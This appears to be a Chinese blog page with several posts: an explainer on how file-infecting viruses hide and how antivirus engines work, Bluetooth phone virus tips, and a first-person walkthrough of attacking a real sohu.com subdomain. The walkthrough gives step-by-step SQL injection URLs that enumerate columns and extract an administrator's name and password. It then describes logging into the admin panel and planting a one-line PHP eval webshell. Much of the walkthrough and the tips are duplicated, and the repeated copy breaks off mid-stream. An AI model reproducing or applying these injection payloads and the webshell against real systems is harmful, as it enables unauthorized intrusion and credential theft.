这是文件型病毒的传播方式,文件型病毒的成品一般没有自己的独立程序体,它们通过受感染的可执行文件进行传播。当用户执行一个感染了文件型病毒的程序时,由于原程序的执行入口已经被破坏,因此病毒代码会首先得到执行,将自身载入内存中,成为一个“驻留程序”(TSR),根据病毒作者的破坏性差异,病毒可能仅仅停留在内存空间里等待用户执行程序时进行感染操作,也可能会主动出击,搜索用户计算机上符合感染条件的可执行文件进行感染。
较普通的文件型病毒会将自身代码放置到受感染文件的头部或尾部,而后修改文件头部的执行入口指向自身代码起始段,以达到自身先于受感染程序执行的目的,当病毒在入内存后,才会去调用受感染文件的真正执行入口,让受感染文件能够运行,这样用户才不会起疑心。在早期的感染模式里,文件型病毒通常会主动搜索感染可执行文件,甚至因为感染失败而导致文件损坏的事情也常有发生,而自从微软在Windows 2000开始引入“系统文件校验”技术后,主动搜索可执行文件进行感染的病毒寄生技术便因为导致系统不断出现“系统文件遭遇替换”的警告而逐渐退出舞台,继而换成守株待兔类型的等待程序执行后进行感染的被动寄生方式。较新的文件型病毒还会采取不感染系统文件的政策,让用户无论如何都难以发现文件被感染的痕迹。
但是直接把自身简单的插入文件首尾的寄生方式会导致文件体积和修改日期的变化,因此高级的病毒会自动根据目标文件内部的“无用”空间分配情况来将自身代码分段插入文件体内,并修改文件日期为原始日期,如此一来便加大了检测和查杀的难度。这一技术得以实现的原因是PE规范的特点:PE文件的每个节之间留有按簇大小对齐后的空洞,病毒体如果足够小则可以将自身分成几份并分别插入到每个节最后的空隙中,这样就不必额外增加一个节,因而文件大小保持不变,能做到这种形式的病毒体积必须十分小巧,否则它会把文件破坏掉的。当文件被执行时,病毒通过初始化代码的复杂计算将自身全部代码恢复连贯载入内存,继续完成下一次感染过程。
欺骗
并非所有病毒(注意此文的“病毒”所指范围)都是文件型的,例如特洛伊木马、蠕虫和恶意程序等,那么它们如何将自身隐蔽呢?这就要用到欺骗了。所谓欺骗,就是利用各种手段将自身执行文件植入系统,而不被用户轻易察觉,即使被发现,也难以判断真伪或者无法彻底删除,从最初的简单设置文件属性为隐藏,到现在的伪装系统核心文件、DLL形式,甚至驱动程序类型的隐藏,病毒技术的不断发展使得手工查杀增加了难度。
破坏
一个程序是否具备破坏性是衡量它是否属于病毒的一个重要标准,病毒的破坏是多种多样的,其实在它们进行寄生或欺骗操作时就已经对被感染的文件、以及受害计算机的环境完整性形成一定的破坏了,由于病毒需要驻留内存进行感染操作,直接导致的影响就是磁盘读写增加,计算机响应迟钝,更有甚者为了取得最高的响应速度,而修改系统正常的优先级设置让自己达到最高等级,从而导致系统效率严重下降。然而这还不是真正可怕的,当病毒发作时,可能会破坏你的文件档案,或者敞开计算机大门让入侵者随意进出,甚至通过特殊的软件读写达到破坏计算机硬件的目的。
三. 剖析杀毒软件的心脏——引擎技术
病毒和反病毒产品是天生的冤家,由于病毒永无休止的存在,反病毒产品这片领域自然也会出现众多厂商来分割的局面,因此也就衔生出了多种杀毒引擎技术。
杀毒引擎是决定一款杀毒软件技术是否成熟可靠的关键,什么是杀毒引擎呢?简言之,它就是一套判断特定程序行为是否为病毒程序或可疑程序的技术机制,引擎不仅需要具备判断病毒的能力,还必须拥有足够的病毒清理技术和环境恢复技术,如果一款杀毒产品能查出病毒但是却无法清除、或者无法将被病毒破坏的系统环境成功恢复,那它也只能是鸡肋。为了达到查杀病毒的目的,杀毒引擎自身要实施的行为就要比病毒还病毒,例如,为了及时获得环境变动的监控数据,一些杀毒引擎采用DLL的钩子技术将自身注入系统进程中,这一行为和DLL木马无异;而为了成功拦截查杀驱动级别木马Rootkit,杀毒引擎更需要将自身的一部分作为驱动形式运行,以便进入系统内核领域……说到这里,一些计算机配置较低的用户应该能明白,为什么自己安装杀毒软件后计算机速度明显变慢了,这多半是因为杀毒软件的“文件监控”等功能导致的,因为这一功能的实现原理就如文件型病毒的寄生过程一样,只不过文件型病毒是守候在内存中伺机感染每一个打开的文件,而“文件监控”功能是时刻驻守在内存里检查每一个打开的文件是否存在病毒,两者导致的后果都是程序载入内存的时间增加,在低配置的计算机表现得比较明显罢了。
由于以上提到的原因,杀毒软件是会不可避免的对用户计算机运行速度造成一定影响的,但是为了安全,大部分用户只能牺牲一点工作效率来换取安全了,那么,杀毒引擎的具体实现过程又是如何呢?且让我们来对其窥探一番。
1.守住每一个关卡——程序行为捕获
每个程序运行时都需要进行各种交互动作,如收发网络数据、响应某个触发事件、文件读写操作等,这些交互都被称为“行为”(Action),这个周期过程是可以被跟踪记录的,这就是杀毒引擎必须干涉的第一步,当杀毒软件的环境监视模块启动后,它会嵌入系统的操作接口,使得任何非核心程序和除了杀毒软件自身程序的运作过程都要被它实时监视,这一技术通常通过钩子技术和驱动层挂载实现,每个杀毒软件厂商都预先定义了一套病毒行为判断规范,即在一个给定的范围和置信度下,判断相关操作是否为合法。例如一个代码执行后被发现试图将自己写入用户请求执行的程序文件体内、或进行特定的复制动作和添加注册表操作,则可将其怀疑为病毒,移交给查毒过程的第二步进一步判断处理。
为了实现行为捕获操作,杀毒软件引擎必须将自身模块嵌入系统底层,在这个实现方法上,各大厂商都有自己的一套方案,一般厂商普遍采用的是中间件技术,即通过Hook挂钩方式实现对每个进程的访问,这种方案通过在系统底层与应用程序之间嵌入一个全局钩子DLL模块达到目的,从严格上来说,它的相对安全和稳定性较低,但是在源代码不开放的操作系统层面上,这是最简单的方法。
一部分厂商因为与操作系统厂商存在合作关系,因而获得了较其他厂商杀毒产品要高的操作系统特权,所以他们采用的方案是基于系统最底层的系统核心驱动,这种实现方式是最安全的,或者说最高级的实现方式,至今只有Norton获得了这个特权。随着病毒技术逐渐渗透到Rootkit层次,过去的Hook技术逐渐有点力不从心,于是杀毒厂商开始转入驱动方案,当然,由于没有操作系统厂商的授权,他们并无法实现最底层的核心驱动解决方案,于是杀毒厂商编写了一个称为“软件驱动”的中间件,用于在系统中产生一个虚拟硬件。众所周知,在操作系统中,只有驱动模块能通过一个“硬件抽象层(HAL)”的通讯接口而到达系统底层,如今流行的Rootkit木马也是采用驱动形式进入系统核心的,因此杀毒厂商使用“软件驱动”来实现底层监视的方案是要比一般的Hook技术效果显著的,但是这也不可避免会出现一些问题,如果这个“软件驱动”存在缺陷或者被某些程序异常终止(例如出现未预料的错误),在系统底层无任何保护措施的环境下,最直接的一个后果就是系统蓝屏崩溃,造成可能的损失。
引用(小知识:系统的几个“层”)
操作系统作为一个复杂的运作体系,其内部是必须实现一定的功能模块来进行分工合作的,这些功能模块像金字塔一样层层堆积,形成了系统的几个“层”,分别是系统核心层、硬件抽象层、用户层。
系统核心层(Kernel Layer)位于整个操作系统的最底层,负责系统的基本运作,在这一层里的所有行为都由系统内置的指令来实现,所有外界因素都不会对这一处的行为造成影响。能直接进入这个层交互的程序不多,除了操作系统自身,第三方厂商若要能在此层直接工作,必须和系统厂商建立合作关系,使用系统厂商提供的接口函数才能进入。目前能在这个层面直接工作的杀毒软件只有赛门铁克的Norton AntiVirus。
硬件抽象层(Hardware Abstraction Layer)是美国微软公司为了便于操作系统在不同硬件结构上进行移植而提出的将系统底层与硬件相关的部分独立运作的思想,HAL为系统实现了“硬件无关性”,即在不同的硬件平台上,硬件与操作系统的交互也不会有所差异,这样一来,硬件厂商开发驱动的难度便能大大降低,HAL将硬件的接口细节隐藏起来,并为操作系统提供一个标准硬件交互接口,目前所有的硬件驱动都工作在这个层面上,当外界硬件存在指令请求时,驱动程序响应请求并将指令通过HAL转换为系统核心层能理解的指令交给内核执行,如果未找到相应的驱动程序类型,则将其视为“默认硬件”(Default Hardware)处理,什么叫“默认硬件”呢?最简单的例子就是进入安全模式,这时候大部分驱动程序不会被加载,此时的系统便是工作于“默认硬件”上。大部分使用“软件驱动”解决方案的杀毒软件就是在HAL层上虚拟了一个硬件来达到与核心层交互的效果,如McAfee、卡巴斯基等,瑞星2006也是通过这个方案实现了内核交互。
用户层(User Layer)就是平时我们直接看到的部分,例如桌面,大部分杀毒软件也是在这一层运行的,主要用于用户接口交互和将指令传递到杀毒引擎。一般运行于Ring3的程序行为也产生于此,一个应用程序产生的指令要求首先被传递到HAL层,HAL层将其解释处理为核心层可以识别的指令串,然后提交给核心层最后进入CPU的指令处理循环,CPU处理完毕后将结果反向送回到用户层上的应用程序,最终得到运算结果。
2.检测的核心——基于引擎机制的规则判断
这一步环节可以称之为病毒判断的核心阶段,一个好的杀毒引擎能在这个阶段识别出相当规模的病毒,其原理是在引擎中内置一部分病毒的特征代码,称为“基于特征码的静态扫描技术”,即杀毒引擎直接在文件中查找自身携带的特征代码,力求尽量在这一步发现病毒。早期的计算机用户应该记得,当初的杀毒产品并没有非常大的病毒特征数据库,甚至KV300+的所谓病毒特征数据库还是ASCII格式的,并由用户自己手工加入,仅仅作为一种简单的扩充手段来运作而已,这是因为KV300+的主程序内就已经包含了当时各种流行病毒的特征码。
但是如今由于网络普及和计算机技术发展,病毒攻势铺天盖地而来,如果单纯靠杀毒引擎自身携带病毒特征代码,将会造成主程序体积过于庞大而无法高效率运行,且升级麻烦等难点,因而杀毒引擎不得不将病毒特征库从自身脱离开来,形成独立的病毒数据库结构来与自身保持联系,这就是“基于特征码的静态扫描技术”的扩展产物:病毒特征代码数据库。
3.在翰林辞典中穿梭——引擎与病毒特征库的交互
由于上述原因,如今的杀毒软件已经不得不采用外部数据库连接的方法来达到识别病毒的效果,病毒特征代码数据库中以特定格式储存了各种病毒的行为标识和静态代码,在工作时,杀毒引擎需要将捕获到的程序行为转换为它自身可以识别的行为标识和静态代码,然后进入病毒特征代码数据库中查询并期待其返回查询结果,因此这个步骤是整个杀毒过程中最慢的,但是不可否认,当前的杀毒软件对大量病毒的识别都是在这个阶段完成的。因此一个足够庞大的病毒库往往能够弥补杀毒引擎的不足之处,但是当今病毒越发复杂和繁多,如此长期以往,病毒特征库将会有一天过于臃肿而导致不良后果,要解决这个问题,只能在核心技术上尽量实现将病毒检测工作在第二步完成,只可惜在当前我们仍然没有能够实现这个想法的杀毒引擎技术,因此如今的杀毒软件或多或少都依赖着一个几十MB的病毒特征库来维持工作,杀毒厂商在杀毒引擎核心未进行关键修改时发布的病毒更新其实也就是为了往这个特征数据库中添加最新发现的病毒数据,以达到查杀新病毒的作用。
“基于特征码的静态扫描技术”的最大弱点在于它无法发现和查杀“未公开”或“未收录”的病毒,由于它的大部分判断依据来自病毒特征代码数据库,一旦用户被感染了病毒中的“0day”或“私人后门”,杀毒软件就无能为力,甚至落得个被病毒终结运行的下场,当然,由于杀毒软件自身的校验机制,一般不会有病毒愚蠢到去感染杀毒软件,但是如果一个杀毒软件被病毒终止了,它就无法对用户的计算机实施病毒防护了,但是如何判断阻止由病毒发出的关闭指令,而不影响用户正常点击杀毒软件自身提供的“退出”功能,这也是个难题。
一部分杀毒引擎会通过自身的病毒行为判断规范来“怀疑”某些未收录在数据库中的程序为病毒,并询问用户需要什么解决方案,一般情况下,杀毒软件最折衷的默认解决方案是将被怀疑动机不纯的程序文件改名备份到一个被称为“隔离区”的文件夹中,然后将该原始文件销毁。这样做或许能达到查杀未知病毒的目的,但是我们也不能忽视其可能带来的严重后果,例如某个关键文件或重要文档感染了病毒,如果杀毒软件不由分说就将其消灭,那就很可能引发系统崩溃甚至经济损失,因为一个健全稳妥的查杀过程和环境恢复是很重要的。
4.月光宝盒——病毒查杀和系统环境恢复
当杀毒引擎检测到病毒时,需要分为两种情况对待,首先是尚未来得及进行感染或破坏行为的病毒,在这种情况下杀毒引擎只需要简单删除文件就可以了,但是日常操作中用户面临最多的还是已经被病毒实施感染破坏行为后的系统环境,在这种情况下,杀毒引擎必须在使用适当的方式查杀病毒后,根据病毒特征库中记录的病毒行为来智能判断当前系统环境遭受破坏的情况并进行恢复,例如对于受病毒感染的文件,杀毒引擎必须根据一定的算法在文件体内找出病毒代码寄生的部分并给予清除,这个过程必须非常谨慎,否则直接的后果就是导致原文件被破坏,这样的杀毒就毫无意义了。而对于非文件型的木马和恶意程序,由于它们会通过各种方式篡改系统注册表甚至系统文件来达到加载自身之目的,杀毒引擎在清除了这些病毒后能否准确有效的恢复受破坏的系统环境,就是对杀毒引擎的最大挑战。病毒隐藏技术已经从最初的简单加载单一启动项,演化到今天的多重启动项、进程互相保护、线程监视、远程注射、可执行文件关联、服务项目加载、驱动形式加载等方式,甚至采用多项结合的方法,使得查杀工作变得十分困难,甚至只要遗漏了一个文件未能清除,病毒便能卷土重来,因此,如何有效准确的判断和修复受损环境,也是衡量杀毒引擎技术是否成熟的关键。
以上说的是杀毒引擎完整工作过程的原理,那么,它所采取的技术有哪些呢?目前,主流的技术有两种:虚拟机技术、实时监控技术。除此之外,还有两种最新的技术仍在试验阶段,分别是智能码标识技术和行为拦截技术。
1.虚拟机技术
一提起虚拟机,部分读者可能就会联想到VMWare去了,然而这里提到的虚拟机并非如此。在反病毒界里,虚拟机也被称为通用解密器,已经成为反病毒软件中最重要的部分之一。杀毒引擎的虚拟机技术并非是为病毒提供一套计算机仿真系统,让其在内部折腾直到暴露出病毒行为特征,在这里的虚拟机是指杀毒引擎模拟出一个仿真CPU,这个“CPU”具备和真正CPU等同的指令分析功能,杀毒引擎将待检测的程序代码读入“CPU”中逐条指令循环执行,直到出现特定情况才结束工作,在这个过程中探知程序是否具备病毒行为特征或者暴露出病毒特征码。这就是杀毒引擎的“虚拟机技术”,它的目的就是让程序文件在没有实际运行的情况下得到运行后的结果,最初虚拟机技术是为了对付变形病毒而产生的,因为变形病毒会将自身代码以一定的方式进行多次变换,这样传统静态特征码扫描技术就对其无能为力,因为它根本无法确认特征码,但是即使再强悍的变形病毒也不可避免在运行时出现一段相对固定的机器码,否则它自身也无法正常运行完成变形过程,而由于这段机器码只有在运行时才能被捕获到,因此工程师开发了“虚拟机技术”诱使病毒在杀毒引擎产生的“CPU”里尽情运行,而后根据其固定机器码匹配病毒特征数据库中的静态特征来判断这个程序是否病毒。虽然这个技术可能会导致误报,但是仍不能否认其是一种有效的方法。
2.实时监控技术
实时监控技术,说白了其实就是一个文件监视器,它会在文件打开、关闭、修改等操作时将其拦截并送入查毒模块进行分析,而在如今的操作系统中要实现对所有文件操作的拦截并非易事,这需要涉及系统核心,因此,这里所采取的方案原型,就是“软件驱动”。通过驱动进入核心,便能获知每个文件的操作情况并做出反应了。这项技术的难度在于驱动代码的编写,由于内核没有异常处理过程,在这里执行的代码稍有一点错漏都能直接导致系统崩溃,且驱动与用户层的实时交互也需要一套复杂的实现方案,因此只有一定实力的厂家才实现这项技术,且实现了这项技术的厂家大部分都会连同虚拟机技术、静态特征码扫描技术一起结合起来,最终形成自己的产品。
四. 结语
许多用户都在挑选杀毒软件时犯难,实际上,如果抛开许多表面上的东西,杀毒软件的引擎实现技术也就那么几个,关键在于杀毒厂商的研发能力和实际工作效率,也不能只凭杀毒软件在对付某种病毒的差别上就断定它们之间的地位差异。符合自己使用的,就是最好的。
防范技巧:七招预防蓝牙手机中的病毒
[ 2007-03-25 02:37:13 | 作者: sun ]
电脑很容易感染病毒,手机也一样,随着支持蓝牙的手机越来越多,有必要提醒广大蓝牙手机用户注意预防手机中毒。
“当机”、“终止应用程序”、“衍生变种家族”、“无线入侵”、“伪装免费软件”甚至“窃取资讯”,这些电脑病毒常见的破坏手法,现在手机病毒也跟着模仿,入侵手机用户。最近的一份报告指出,手机病毒可能造成文件、电话簿、信息、相片以及电话本身的操作功能丧失。
但总体看来,手机病毒虽然开始模仿电脑病毒,但是主动散播力较弱。不随便使用蓝牙接收来路不明的短信,一般来说,不容易感染。这里就给大家提七个建议,预防手机病毒跟着走:
●接收蓝牙传送文件要特别谨慎,以免收到病毒文件。
●不慎中毒暂时关闭手机上的蓝牙接收功能,以免继续搜寻感染目标。
●收到来路不明的短信,不要打开直接删除。
●对于来路不明的手机程序不要任意安装。
●下载手机铃声、手机游戏,请至合法官方网站。
●若不慎中毒请立即删除病毒应用程序,并重新安装受感染的应用程序。
●安装专门的手机防毒软件。
“当机”、“终止应用程序”、“衍生变种家族”、“无线入侵”、“伪装免费软件”甚至“窃取资讯”,这些电脑病毒常见的破坏手法,现在手机病毒也跟着模仿,入侵手机用户。最近的一份报告指出,手机病毒可能造成文件、电话簿、信息、相片以及电话本身的操作功能丧失。
但总体看来,手机病毒虽然开始模仿电脑病毒,但是主动散播力较弱。不随便使用蓝牙接收来路不明的短信,一般来说,不容易感染。这里就给大家提七个建议,预防手机病毒跟着走:
●接收蓝牙传送文件要特别谨慎,以免收到病毒文件。
●不慎中毒暂时关闭手机上的蓝牙接收功能,以免继续搜寻感染目标。
●收到来路不明的短信,不要打开直接删除。
●对于来路不明的手机程序不要任意安装。
●下载手机铃声、手机游戏,请至合法官方网站。
●若不慎中毒请立即删除病毒应用程序,并重新安装受感染的应用程序。
●安装专门的手机防毒软件。
对sohu.com的一次安全检测
[ 2007-03-25 02:36:07 | 作者: sun ]
sohu.com是国内一家比较大的门户网站,提供了包括邮箱在内的很多服务。这么大的一个网站,不出问题是很难的,俗话说服务越多越不安全嘛!无论是对于服务器还是网站都是这个道理,最近学习Mysql注入,于是顺便就对sohu.com做了一次小小的安全检测,看看它存不存在SQL注入漏洞。
看看sohu.com的主站发现差不多都是静态的,于是放弃了在主站上找问题的想法。直接在sohu.com的各个分站上浏览了一圈后发现,大部分网站采用的都是Php脚本,也有少数用的是jsp脚本,根据经验我们知道,对于Php构建的系统,一般后台数据库都是Mysql,就好象asp对应着Mssql一样,看来可能存在问题的地方还是很多的。由于Php的特性(Php默认将传递的参数中的'等字符做了转换,所以对于字符类型的变量默认情况下很难注入),一般情况下我们注入的只能是数字类型的变量了。根据平时注入的知识,我们知道id=XXX这样的形式传递的参数一般都是数字类型的变量,所以我们只要去测试那些php?id=XXX的连接就可能找到漏洞了!通过一番仔细的搜索,还真让我在XXX.it.sohu.com上找到了一个存在问题的连接http://XXX.it.sohu.com/book/serialize.php?id=86
提交:
http://XXX.it.sohu.com/book/serialize.php?id=86 and 1=1/*
返回正常如图1。
然后提交:
http://XXX.it.sohu.com/book/serialize.php?id=86 and 1=2/*
返回没有信息如图2,空空的吧,应该是SQL语句结果为空了。
通过这两个Url我们可以猜测漏洞是存在的,因为我们提交的and 1=1和and 1=2都被当作Sql语句执行啦!那么我们提交的其他语句也是可以执行的,这就是Sql注入了!我们还可以知道id这个变量是被当作数字处理的,没有放到''之间,否则我们是成功不了的哦!如果变量没有过滤Sql其他关键字的话,我们就很有可能成功啦!我遇到很多的情况都是变量过滤了select,在mysql里就是死路了,好郁闷!
既然漏洞是存在的,让我们继续吧!首先当然是探测数据库的类型和连接数据库的帐户啦!权限高并且数据库和web同机器的话可以免除猜测字段的痛苦啦!提交:
http://XXX.it.sohu.com/book/serialize.php?id=86 and ord(mid(version(),1,1))>51/*
返回正常如图3,这个语句是看数据库的版本是不是高于3的,因为3的ASCII是51嘛!版本的第一个字符是大于51的话当然就是4.0以上啦!4.0以上是支持union查询的,这样就可以免除一位一位猜测的痛苦哦!这里结果为真,所以数据库是4.0以上的哦,可以支持union了。
既然支持union查询就先把这个语句的字段给暴出来吧!以后再用union查询什么都是很快的哦!提交:
http://XXX.it.sohu.com/book/serialize.php?id=86 order by 10/*
返回结果正常如图4,看来字段是大于10个的,继续提交:
http://XXX.it.sohu.com/book/serialize.php?id=86 order by 20/*
正常返回,提交:
http://XXX.it.sohu.com/book/serialize.php?id=86 order by 30/*
......
到order by 50的时候返回没有信息了!看来是大于40的小于50的,于是提交:
http://XXX.it.sohu.com/book/serialize.php?id=86 order by 45/*
......
终于猜测到字段是41左右啦!这里说是左右是因为有些字段是不能排序的,所以还需要我们用union精确定位字段数字是41,提交:
http://XXX.it.sohu.com/book/serialize.php?id=86 and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41/*
返回结果如图5,哈哈,成功了哦!哪些字段会在页面显示也是一目了然了!现在让我们继续吧!提交:
http://XXX.it.sohu.com/book/serialize.php?id=86 and 1=2 union select 1,user(),3,4,database(),6,7,8,9,10,version(),12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41/*
返回结果如图6,完成了数据库系统的探测哦!我们很有可能不是root,并且数据库服务器和web也很有可能不是在一台服务器,这样的话我们就没有file权限了!提交:
http://XXX.it.sohu.com/book/serialize.php?id=86 and (select count(*) from mysql.user)>0/*
返回结果如图7,没有对mysql的读取权限,更加确定权限不是root了!呵呵!
既然不是root,也不要气馁,让我们继续吧!在进一步猜测数据之前我们最好找下后台先,很多时候找到了管理员密码却找不到地方登陆,很郁闷的说!在根目录下加/admin和/manage/等等后台常用的地址都是返回404错误,猜测了几次终于在/book/目录下admin的时候出现了403 Forbiden错误,哈哈,是存在这个目录的!但是登陆页面死活也猜不出来,郁闷中!不过既然知道有个admin也好说,去Google里搜索:
admin site:sohu.com
如图8,得到了另外一个分站的论坛,我们知道人是很懒惰的,通常一个地方的后台的特征就很可能是整个网站的特征,所以当我尝试访问/book/admin/admuser.php的时候奇迹出现了,如图9,哈哈,离成功更近了哦!到这里我们知道了网站的后台,其实我们还可以得到很重要的信息,查看原文件发现登陆表单的名字是name和password,很容易推测出对方管理员表中的结构,即使不符合估计也差不多,呵呵!所以知道为什么我们要先猜测后台了吧!继续注入吧!提交:
http://XXX.it.sohu.com/book/serialize.php?id=86 and 1=2 union select 1,user(),3,4,database(),6,7,8,9,10,version(),12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41 from admin/*
返回错误,说明不存在admin这个表,尝试admins以及admin_user等等,最后提交:
http://XXX.it.sohu.com/book/serialize.php?id=86 and 1=2 union select 1,user(),3,4,database(),6,7,8,9,10,version(),12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41 from user/*
的时候返回成功,哈哈!有User这个表!那么是不是管理员表呢?字段又是什么呢?继续提交:
http://XXX.it.sohu.com/book/serialize.php?id=86 and 1=2 union select 1,name,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41 from user/*
返回空信息的错误,提交:
http://XXX.it.sohu.com/book/serialize.php?id=86 and 1=2 union select 1,password,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41 from user/*
返回结果如图10,哈哈正常返回并且出来了一个密码,应该是管理员表里第一个用户的密码!那么他的用户名字是什么呢?猜测很多字段都是返回错误,实在没有办法的时候输入一个ID,居然返回成功了!ID就是管理员的名字哦!提交:
http://XXX.it.sohu.com/book/serialize.php?id=86 and 1=2 union select 1,password,3,4,id,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41 from user/*
返回结果如图11,哈哈,得到管理员的名字了哦!激动地拿着管理员名字和密码去后台登陆成功了哦!如图12。现在是想想怎么拿webshell的时候了,在后台发现有上传图片的地方,但是当上传php文件的时候提示说不是图片文件,郁闷了!在后台仔细的乱七八糟的乱翻了会,发现有个生成php文件的功能,于是在里面插入了一句话的php后门<? eval($_POST[a])?>,如图13,点生成之后提示成功了,看来如果没有过滤的话我们应该是得到webshell了,密码是a,用一句话后门连上去如图14,哈哈,成功了!脚本检测到此圆满完成!
在得到webshell之后我上服务器上看了看,发现服务器的安全是做得不错,执行不了命令,并且基本上所有的目录除了我们刚才上传的目录之外都是不可写的,不过作为脚本测试,得到了webshell也就算成功了吧!也可以看出,小小的一个参数没有过滤就可以导致网站的沦陷,特别是像sohu.com这样的大站,参数更多,更加要注意过滤方面的问题哦!欢迎大家到论坛讨论,我的ID是剑心
看看sohu.com的主站发现差不多都是静态的,于是放弃了在主站上找问题的想法。直接在sohu.com的各个分站上浏览了一圈后发现,大部分网站采用的都是Php脚本,也有少数用的是jsp脚本,根据经验我们知道,对于Php构建的系统,一般后台数据库都是Mysql,就好象asp对应着Mssql一样,看来可能存在问题的地方还是很多的。由于Php的特性(Php默认将传递的参数中的'等字符做了转换,所以对于字符类型的变量默认情况下很难注入),一般情况下我们注入的只能是数字类型的变量了。根据平时注入的知识,我们知道id=XXX这样的形式传递的参数一般都是数字类型的变量,所以我们只要去测试那些php?id=XXX的连接就可能找到漏洞了!通过一番仔细的搜索,还真让我在XXX.it.sohu.com上找到了一个存在问题的连接http://XXX.it.sohu.com/book/serialize.php?id=86
提交:
http://XXX.it.sohu.com/book/serialize.php?id=86 and 1=1/*
返回正常如图1。
然后提交:
http://XXX.it.sohu.com/book/serialize.php?id=86 and 1=2/*
返回没有信息如图2,空空的吧,应该是SQL语句结果为空了。
通过这两个Url我们可以猜测漏洞是存在的,因为我们提交的and 1=1和and 1=2都被当作Sql语句执行啦!那么我们提交的其他语句也是可以执行的,这就是Sql注入了!我们还可以知道id这个变量是被当作数字处理的,没有放到''之间,否则我们是成功不了的哦!如果变量没有过滤Sql其他关键字的话,我们就很有可能成功啦!我遇到很多的情况都是变量过滤了select,在mysql里就是死路了,好郁闷!
既然漏洞是存在的,让我们继续吧!首先当然是探测数据库的类型和连接数据库的帐户啦!权限高并且数据库和web同机器的话可以免除猜测字段的痛苦啦!提交:
http://XXX.it.sohu.com/book/serialize.php?id=86 and ord(mid(version(),1,1))>51/*
返回正常如图3,这个语句是看数据库的版本是不是高于3的,因为3的ASCII是51嘛!版本的第一个字符是大于51的话当然就是4.0以上啦!4.0以上是支持union查询的,这样就可以免除一位一位猜测的痛苦哦!这里结果为真,所以数据库是4.0以上的哦,可以支持union了。
既然支持union查询就先把这个语句的字段给暴出来吧!以后再用union查询什么都是很快的哦!提交:
http://XXX.it.sohu.com/book/serialize.php?id=86 order by 10/*
返回结果正常如图4,看来字段是大于10个的,继续提交:
http://XXX.it.sohu.com/book/serialize.php?id=86 order by 20/*
正常返回,提交:
http://XXX.it.sohu.com/book/serialize.php?id=86 order by 30/*
......
到order by 50的时候返回没有信息了!看来是大于40的小于50的,于是提交:
http://XXX.it.sohu.com/book/serialize.php?id=86 order by 45/*
......
终于猜测到字段是41左右啦!这里说是左右是因为有些字段是不能排序的,所以还需要我们用union精确定位字段数字是41,提交:
http://XXX.it.sohu.com/book/serialize.php?id=86 and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41/*
返回结果如图5,哈哈,成功了哦!哪些字段会在页面显示也是一目了然了!现在让我们继续吧!提交:
http://XXX.it.sohu.com/book/serialize.php?id=86 and 1=2 union select 1,user(),3,4,database(),6,7,8,9,10,version(),12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41/*
返回结果如图6,完成了数据库系统的探测哦!我们很有可能不是root,并且数据库服务器和web也很有可能不是在一台服务器,这样的话我们就没有file权限了!提交:
http://XXX.it.sohu.com/book/serialize.php?id=86 and (select count(*) from mysql.user)>0/*
返回结果如图7,没有对mysql的读取权限,更加确定权限不是root了!呵呵!
既然不是root,也不要气馁,让我们继续吧!在进一步猜测数据之前我们最好找下后台先,很多时候找到了管理员密码却找不到地方登陆,很郁闷的说!在根目录下加/admin和/manage/等等后台常用的地址都是返回404错误,猜测了几次终于在/book/目录下admin的时候出现了403 Forbiden错误,哈哈,是存在这个目录的!但是登陆页面死活也猜不出来,郁闷中!不过既然知道有个admin也好说,去Google里搜索:
admin site:sohu.com
如图8,得到了另外一个分站的论坛,我们知道人是很懒惰的,通常一个地方的后台的特征就很可能是整个网站的特征,所以当我尝试访问/book/admin/admuser.php的时候奇迹出现了,如图9,哈哈,离成功更近了哦!到这里我们知道了网站的后台,其实我们还可以得到很重要的信息,查看原文件发现登陆表单的名字是name和password,很容易推测出对方管理员表中的结构,即使不符合估计也差不多,呵呵!所以知道为什么我们要先猜测后台了吧!继续注入吧!提交:
http://XXX.it.sohu.com/book/serialize.php?id=86 and 1=2 union select 1,user(),3,4,database(),6,7,8,9,10,version(),12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41 from admin/*
返回错误,说明不存在admin这个表,尝试admins以及admin_user等等,最后提交:
http://XXX.it.sohu.com/book/serialize.php?id=86 and 1=2 union select 1,user(),3,4,database(),6,7,8,9,10,version(),12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41 from user/*
的时候返回成功,哈哈!有User这个表!那么是不是管理员表呢?字段又是什么呢?继续提交:
http://XXX.it.sohu.com/book/serialize.php?id=86 and 1=2 union select 1,name,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41 from user/*
返回空信息的错误,提交:
http://XXX.it.sohu.com/book/serialize.php?id=86 and 1=2 union select 1,password,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41 from user/*
返回结果如图10,哈哈正常返回并且出来了一个密码,应该是管理员表里第一个用户的密码!那么他的用户名字是什么呢?猜测很多字段都是返回错误,实在没有办法的时候输入一个ID,居然返回成功了!ID就是管理员的名字哦!提交:
http://XXX.it.sohu.com/book/serialize.php?id=86 and 1=2 union select 1,password,3,4,id,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41 from user/*
